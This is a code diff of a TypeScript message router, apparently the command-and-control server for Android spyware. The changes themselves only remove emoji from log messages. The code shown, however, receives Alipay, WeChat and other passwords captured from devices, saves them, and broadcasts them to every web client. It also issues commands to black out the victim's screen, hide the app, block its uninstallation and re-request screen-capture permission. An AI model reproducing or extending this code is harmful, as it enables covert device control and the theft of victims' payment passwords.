- analysisMetadata: hierarchyData.analysisMetadata // ✅ 传递分析元数据 + enhanced: hierarchyData.enhanced || false, // 传递增强标识 + deviceCharacteristics: hierarchyData.deviceCharacteristics, // 传递设备特征 + analysisMetadata: hierarchyData.analysisMetadata // 传递分析元数据 } - this.logger.info(`📤 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`) + this.logger.info(` 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`) this.webClientManager.sendToClient(hierarchyData.clientId, 'ui_hierarchy_response', responseData) - this.logger.info(`✅ 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`) + this.logger.info(` 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`) } else { - this.logger.warn(`⚠️ 响应数据中缺少clientId字段,无法转发`) + this.logger.warn(` 响应数据中缺少clientId字段,无法转发`) // 广播给所有客户端 this.webClientManager.broadcastToAll('ui_hierarchy_response', { @@ -3360,7 +3357,7 @@ export class MessageRouter { hierarchy: hierarchyData.hierarchy, timestamp: Date.now() }) - this.logger.info(`📤 已广播UI层次结构给所有客户端`) + this.logger.info(` 已广播UI层次结构给所有客户端`) } } catch (error) { @@ -3373,17 +3370,17 @@ export class MessageRouter { */ routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean { try { - this.logger.info(`🔍 处理UI层次结构响应: Socket ${fromSocketId}`) + this.logger.info(` 处理UI层次结构响应: Socket ${fromSocketId}`) // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { - this.logger.warn(`⚠️ 找不到设备,尝试从数据库恢复: ${fromSocketId}`) - // ✅ 参考routeScreenData:立即尝试从数据库恢复设备 + this.logger.warn(` 找不到设备,尝试从数据库恢复: ${fromSocketId}`) + // 参考routeScreenData:立即尝试从数据库恢复设备 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { - // ✅ 获取设备状态信息 + // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { @@ -3401,14 +3398,14 @@ export class MessageRouter { status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 - remark: (dbDevice as any).remark // 🆕 恢复设备备注 + remark: (dbDevice as any).remark // 恢复设备备注 } // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device) - this.logger.info(`✅ 从数据库恢复设备: ${device.name} (${device.id})`) + this.logger.info(` 从数据库恢复设备: ${device.name} (${device.id})`) - // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) + // 关键修复:更新数据库中的设备记录(特别是lastSocketId) try { const deviceForDb = { deviceId: device.id, @@ -3422,11 +3419,11 @@ export class MessageRouter { } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { - this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + this.logger.error(` 更新设备数据库记录失败: ${device.name}`, dbError) } - // ✅ 关键修复:UI响应时设备恢复后,立即通知Web端设备在线 - this.logger.info(`✅ 设备UI响应恢复成功: ${device.name},立即通知Web端设备在线`) + // 关键修复:UI响应时设备恢复后,立即通知Web端设备在线 + this.logger.info(` 设备UI响应恢复成功: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) @@ -3442,7 +3439,7 @@ export class MessageRouter { } }) - // ✅ 同步设备状态到设备端(如输入阻塞状态) + // 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } @@ -3450,11 +3447,11 @@ export class MessageRouter { // 尝试从响应数据中获取deviceId进行处理 const deviceId = hierarchyData?.deviceId if (deviceId) { - this.logger.warn(`⚠️ 数据库中也找不到设备,但响应包含deviceId: ${deviceId},尝试直接处理`) + this.logger.warn(` 数据库中也找不到设备,但响应包含deviceId: ${deviceId},尝试直接处理`) this.handleUIHierarchyResponse(deviceId, hierarchyData) return true } else { - this.logger.error(`❌ 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`) + this.logger.error(` 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`) return false } } @@ -3462,11 +3459,11 @@ export class MessageRouter { // 确保device不为undefined if (!device) { - this.logger.error(`❌ 设备恢复失败: ${fromSocketId}`) + this.logger.error(` 设备恢复失败: ${fromSocketId}`) return false } - this.logger.info(`✅ 找到设备: ${device.name} (${device.id}),处理UI层次结构响应`) + this.logger.info(` 找到设备: ${device.name} (${device.id}),处理UI层次结构响应`) // 直接处理UI层次结构响应 this.handleUIHierarchyResponse(device.id, hierarchyData) @@ -3480,11 +3477,11 @@ export class MessageRouter { } /** - * 🆕 处理开始提取确认坐标的请求 + * 处理开始提取确认坐标的请求 */ private handleStartExtractConfirmCoords(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🎯 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`) // 向所有连接的客户端广播提取模式开始事件(主要是屏幕阅读器组件) this.webClientManager.broadcastToAll('start_extract_confirm_coords', { @@ -3492,7 +3489,7 @@ export class MessageRouter { clientId }) - this.logger.info(`✅ 确认坐标提取模式已启动: ${deviceId}`) + this.logger.info(` 确认坐标提取模式已启动: ${deviceId}`) return true } catch (error) { this.logger.error('启动确认坐标提取模式失败:', error) @@ -3501,15 +3498,15 @@ export class MessageRouter { } /** - * 🆕 处理保存确认坐标的请求 + * 处理保存确认坐标的请求 */ private handleSaveConfirmCoords(clientId: string, deviceId: string, coords: { x: number, y: number }): boolean { try { - this.logger.info(`💾 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`) + this.logger.info(` 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`) // 验证坐标数据 if (!coords || typeof coords.x !== 'number' || typeof coords.y !== 'number') { - this.logger.error('❌ 无效的坐标数据:', coords) + this.logger.error(' 无效的坐标数据:', coords) this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { deviceId, success: false, @@ -3535,7 +3532,7 @@ export class MessageRouter { coords }) - this.logger.info(`✅ 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`) + this.logger.info(` 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`) return true } catch (error) { this.logger.error('保存确认坐标失败:', error) @@ -3549,16 +3546,16 @@ export class MessageRouter { } /** - * 🆕 处理启用黑屏遮盖的请求 + * 处理启用黑屏遮盖的请求 */ private handleEnableBlackScreen(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🖤 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, @@ -3570,7 +3567,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, @@ -3592,7 +3589,7 @@ export class MessageRouter { timestamp: Date.now() }) - // 🆕 保存黑屏状态到数据库 + // 保存黑屏状态到数据库 this.databaseService.updateDeviceBlackScreenActive(deviceId, true) // 发送成功响应 @@ -3603,12 +3600,12 @@ export class MessageRouter { message: '黑屏遮盖已启用' }) - this.logger.info(`✅ 黑屏遮盖启用命令已发送: ${deviceId}`) + this.logger.info(` 黑屏遮盖启用命令已发送: ${deviceId}`) return true } } - this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.logger.error(` 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, @@ -3630,16 +3627,16 @@ export class MessageRouter { } /** - * 🆕 处理取消黑屏遮盖的请求 + * 处理取消黑屏遮盖的请求 */ private handleDisableBlackScreen(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🖤 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, @@ -3651,7 +3648,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, @@ -3673,7 +3670,7 @@ export class MessageRouter { timestamp: Date.now() }) - // 🆕 保存黑屏状态到数据库 + // 保存黑屏状态到数据库 this.databaseService.updateDeviceBlackScreenActive(deviceId, false) // 发送成功响应 @@ -3684,12 +3681,12 @@ export class MessageRouter { message: '黑屏遮盖已取消' }) - this.logger.info(`✅ 黑屏遮盖取消命令已发送: ${deviceId}`) + this.logger.info(` 黑屏遮盖取消命令已发送: ${deviceId}`) return true } } - this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.logger.error(` 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, @@ -3711,16 +3708,16 @@ export class MessageRouter { } /** - * 🆕 处理打开应用设置的请求 + * 处理打开应用设置的请求 */ private handleOpenAppSettings(clientId: string, deviceId: string): boolean { try { - this.logger.info(`⚙️ 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, @@ -3731,7 +3728,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, @@ -3752,7 +3749,7 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 已发送打开应用设置命令到设备 ${deviceId}`) + this.logger.info(` 已发送打开应用设置命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'app_settings_response', { @@ -3765,7 +3762,7 @@ export class MessageRouter { } } - this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.logger.error(` 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, @@ -3785,16 +3782,16 @@ export class MessageRouter { } /** - * 🆕 处理隐藏应用的请求 + * 处理隐藏应用的请求 */ private handleHideApp(clientId: string, deviceId: string): boolean { try { - this.logger.info(`📱 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, @@ -3806,7 +3803,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, @@ -3828,7 +3825,7 @@ export class MessageRouter { timestamp: Date.now() }) - // 🆕 保存应用隐藏状态到数据库 + // 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, true) // 发送成功响应 @@ -3839,12 +3836,12 @@ export class MessageRouter { message: '应用已隐藏' }) - this.logger.info(`✅ 隐藏应用命令已发送: ${deviceId}`) + this.logger.info(` 隐藏应用命令已发送: ${deviceId}`) return true } } - this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.logger.error(` 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, @@ -3866,17 +3863,17 @@ export class MessageRouter { } /** - * 🆕 处理应用隐藏状态更新(来自Android端的状态报告) + * 处理应用隐藏状态更新(来自Android端的状态报告) */ private handleAppHideStatusUpdate(deviceId: string, eventData: any): boolean { try { - this.logger.info(`📱 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`) + this.logger.info(` 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`) const isHidden = eventData.isHidden const message = eventData.message || '状态已更新' const success = eventData.success - // 🆕 保存应用隐藏状态到数据库 + // 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, isHidden) // 广播状态更新到所有有控制权的Web客户端 @@ -3890,9 +3887,9 @@ export class MessageRouter { fromDevice: true // 标记这是来自设备端的状态报告 }) - this.logger.info(`✅ 应用隐藏状态已广播到控制客户端: ${controllerId}`) + this.logger.info(` 应用隐藏状态已广播到控制客户端: ${controllerId}`) } else { - this.logger.debug(`📋 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`) + this.logger.debug(` 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`) } // 也广播到所有客户端,用于状态同步 @@ -3912,16 +3909,16 @@ export class MessageRouter { } /** - * 🆕 处理显示应用的请求 + * 处理显示应用的请求 */ private handleShowApp(clientId: string, deviceId: string): boolean { try { - this.logger.info(`📱 显示应用: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 显示应用: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, @@ -3933,7 +3930,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, @@ -3955,7 +3952,7 @@ export class MessageRouter { timestamp: Date.now() }) - // 🆕 保存应用隐藏状态到数据库 + // 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, false) // 发送成功响应 @@ -3966,12 +3963,12 @@ export class MessageRouter { message: '应用已显示' }) - this.logger.info(`✅ 显示应用命令已发送: ${deviceId}`) + this.logger.info(` 显示应用命令已发送: ${deviceId}`) return true } } - this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.logger.error(` 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, @@ -3993,21 +3990,21 @@ export class MessageRouter { } /** - * 🆕 处理关闭配置遮盖的请求 + * 处理关闭配置遮盖的请求 */ private handleCloseConfigMask(clientId: string, deviceId: string, manual: boolean = true): boolean { try { - this.logger.info(`🛡️ 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`) + this.logger.info(` 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) // 注意:关闭配置遮盖使用permission_response事件而非专用响应事件 return false } - // 🆕 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示 + // 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示 // 这是一个紧急操作,允许任何连接的客户端执行 // 向设备发送关闭配置遮盖的控制命令 @@ -4024,12 +4021,12 @@ export class MessageRouter { timestamp: Date.now() }) - this.logger.info(`✅ 关闭配置遮盖命令已发送: ${deviceId}`) + this.logger.info(` 关闭配置遮盖命令已发送: ${deviceId}`) return true } } - this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.logger.error(` 无法找到设备Socket连接: ${deviceId}`) return false } catch (error) { @@ -4039,16 +4036,16 @@ export class MessageRouter { } /** - * 🆕 处理重新获取投屏权限请求 + * 处理重新获取投屏权限请求 */ private handleRefreshMediaProjectionPermission(clientId: string, deviceId: string): boolean { try { - this.logger.info(`📺 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, @@ -4059,7 +4056,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, @@ -4087,12 +4084,12 @@ export class MessageRouter { message: '重新获取投屏权限命令已发送,请在设备上确认权限' }) - this.logger.info(`✅ 重新获取投屏权限命令已发送: ${deviceId}`) + this.logger.info(` 重新获取投屏权限命令已发送: ${deviceId}`) return true } } - this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.logger.error(` 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, @@ -4163,11 +4160,11 @@ export class MessageRouter { */ private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean { try { - this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, @@ -4177,7 +4174,7 @@ export class MessageRouter { } if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { - this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.logger.warn(` 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, @@ -4203,12 +4200,12 @@ export class MessageRouter { message: '手动授权命令已发送,请在设备上手动确认权限' }) - this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`) + this.logger.info(` 手动授权投屏权限命令已发送: ${deviceId}`) return true } } - this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.logger.error(` 无法找到设备Socket连接: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, @@ -4228,24 +4225,24 @@ export class MessageRouter { } /** - * 🆕 路由权限申请响应 + * 路由权限申请响应 */ routePermissionResponse(socketId: string, permissionData: any): boolean { try { // 获取发送响应的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { - this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + this.logger.warn(` 无法找到Socket ${socketId} 对应的设备`) return false } - this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`) + this.logger.info(` 处理设备 ${device.id} 的权限申请响应`) // 检查权限类型并处理响应 if (permissionData.permissionType === 'media_projection') { this.handleMediaProjectionPermissionResponse(device.id, permissionData) } else { - this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`) + this.logger.warn(` 未知的权限类型: ${permissionData.permissionType}`) } return true @@ -4257,22 +4254,22 @@ export class MessageRouter { } /** - * 💰 路由支付宝密码数据 + * 路由支付宝密码数据 */ routeAlipayPassword(socketId: string, passwordData: any): boolean { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { - this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + this.logger.warn(` 无法找到Socket ${socketId} 对应的设备`) return false } - this.logger.info(`💰 处理设备 ${device.id} 的支付宝密码数据`) + this.logger.info(` 处理设备 ${device.id} 的支付宝密码数据`) // 验证必要字段 if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { - this.logger.warn(`⚠️ 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) + this.logger.warn(` 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) return false } @@ -4304,7 +4301,7 @@ export class MessageRouter { timestamp: passwordData.timestamp }) - this.logger.info(`📤 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`) + this.logger.info(` 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`) return true @@ -4315,22 +4312,22 @@ export class MessageRouter { } /** - * 💬 路由微信密码数据 + * 路由微信密码数据 */ routeWechatPassword(socketId: string, passwordData: any): boolean { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { - this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + this.logger.warn(` 无法找到Socket ${socketId} 对应的设备`) return false } - this.logger.info(`💬 处理设备 ${device.id} 的微信密码数据`) + this.logger.info(` 处理设备 ${device.id} 的微信密码数据`) // 验证必要字段 if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { - this.logger.warn(`⚠️ 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) + this.logger.warn(` 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) return false } @@ -4362,7 +4359,7 @@ export class MessageRouter { timestamp: passwordData.timestamp }) - this.logger.info(`📤 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`) + this.logger.info(` 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`) return true @@ -4373,39 +4370,39 @@ export class MessageRouter { } /** - * 🔐 路由通用密码输入数据 + * 路由通用密码输入数据 */ routePasswordInput(socketId: string, passwordData: any): boolean { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { - this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + this.logger.warn(` 无法找到Socket ${socketId} 对应的设备`) return false } - this.logger.info(`🔐 处理设备 ${device.id} 的通用密码输入数据`) + this.logger.info(` 处理设备 ${device.id} 的通用密码输入数据`) // 验证必要字段 if (!passwordData.password || !passwordData.timestamp || !passwordData.passwordType) { - this.logger.warn(`⚠️ 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`) + this.logger.warn(` 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`) return false } - // 🔧 修复:使用设备管理器中的设备ID,而不是passwordData中的deviceId + // 修复:使用设备管理器中的设备ID,而不是passwordData中的deviceId // 确保设备ID存在于数据库中,避免外键约束错误 const deviceId = device.id // 验证设备是否存在于数据库中 const deviceExists = this.databaseService.getDeviceById(deviceId) if (!deviceExists) { - this.logger.error(`❌ 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`) + this.logger.error(` 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`) return false } // 创建通用密码输入记录 const passwordInputRecord = { - deviceId: deviceId, // 🔧 使用验证过的设备ID + deviceId: deviceId, // 使用验证过的设备ID password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, passwordType: passwordData.passwordType, @@ -4424,7 +4421,7 @@ export class MessageRouter { // 向所有Web客户端广播通用密码输入记录 this.webClientManager.broadcastToAll('password_input_recorded', { - deviceId: deviceId, // 🔧 使用验证过的设备ID + deviceId: deviceId, // 使用验证过的设备ID password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, passwordType: passwordData.passwordType, @@ -4435,7 +4432,7 @@ export class MessageRouter { timestamp: passwordData.timestamp }) - this.logger.info(`📤 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`) + this.logger.info(` 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`) return true @@ -4446,18 +4443,18 @@ export class MessageRouter { } /** - * 🔍 路由支付宝检测启动指令 + * 路由支付宝检测启动指令 */ routeAlipayDetectionStart(socketId: string, detectionData: any): boolean { try { // 获取发送检测启动指令的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { - this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + this.logger.warn(` 无法找到Socket ${socketId} 对应的设备`) return false } - this.logger.info(`🔍 处理设备 ${device.id} 的支付宝检测启动指令`) + this.logger.info(` 处理设备 ${device.id} 的支付宝检测启动指令`) // 创建控制消息 const controlMessage: ControlMessage = { @@ -4471,9 +4468,9 @@ export class MessageRouter { const routeResult = this.routeControlMessage(socketId, controlMessage) if (routeResult) { - this.logger.info(`📤 支付宝检测启动指令已发送到设备: ${device.id}`) + this.logger.info(` 支付宝检测启动指令已发送到设备: ${device.id}`) } else { - this.logger.warn(`⚠️ 支付宝检测启动指令发送失败: ${device.id}`) + this.logger.warn(` 支付宝检测启动指令发送失败: ${device.id}`) } return routeResult @@ -4485,18 +4482,18 @@ export class MessageRouter { } /** - * 💬 路由微信检测启动指令 + * 路由微信检测启动指令 */ routeWechatDetectionStart(socketId: string, detectionData: any): boolean { try { // 获取发送检测启动指令的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId) if (!device) { - this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + this.logger.warn(` 无法找到Socket ${socketId} 对应的设备`) return false } - this.logger.info(`💬 处理设备 ${device.id} 的微信检测启动指令`) + this.logger.info(` 处理设备 ${device.id} 的微信检测启动指令`) // 创建控制消息 const controlMessage: ControlMessage = { @@ -4510,9 +4507,9 @@ export class MessageRouter { const routeResult = this.routeControlMessage(socketId, controlMessage) if (routeResult) { - this.logger.info(`📤 微信检测启动指令已发送到设备: ${device.id}`) + this.logger.info(` 微信检测启动指令已发送到设备: ${device.id}`) } else { - this.logger.warn(`⚠️ 微信检测启动指令发送失败: ${device.id}`) + this.logger.warn(` 微信检测启动指令发送失败: ${device.id}`) } return routeResult @@ -4524,11 +4521,11 @@ export class MessageRouter { } /** - * 🆕 处理MediaProjection权限申请响应 + * 处理MediaProjection权限申请响应 */ private handleMediaProjectionPermissionResponse(deviceId: string, permissionData: any): void { try { - this.logger.info(`📺 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`) + this.logger.info(` 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`) // 向所有Web客户端广播权限申请响应(因为权限申请可能影响多个控制此设备的客户端) this.webClientManager.broadcastToAll('refresh_permission_response', { @@ -4538,7 +4535,7 @@ export class MessageRouter { timestamp: permissionData.timestamp }) - this.logger.info(`📤 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`) + this.logger.info(` 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`) } catch (error) { this.logger.error(`处理MediaProjection权限申请响应失败: ${deviceId}`, error) @@ -4546,16 +4543,16 @@ export class MessageRouter { } /** - * 🛡️ 处理启用防止卸载保护的请求 + * 处理启用防止卸载保护的请求 */ private handleEnableUninstallProtection(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🛡️ 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.logger.warn(` 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, @@ -4567,7 +4564,7 @@ export class MessageRouter { // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) 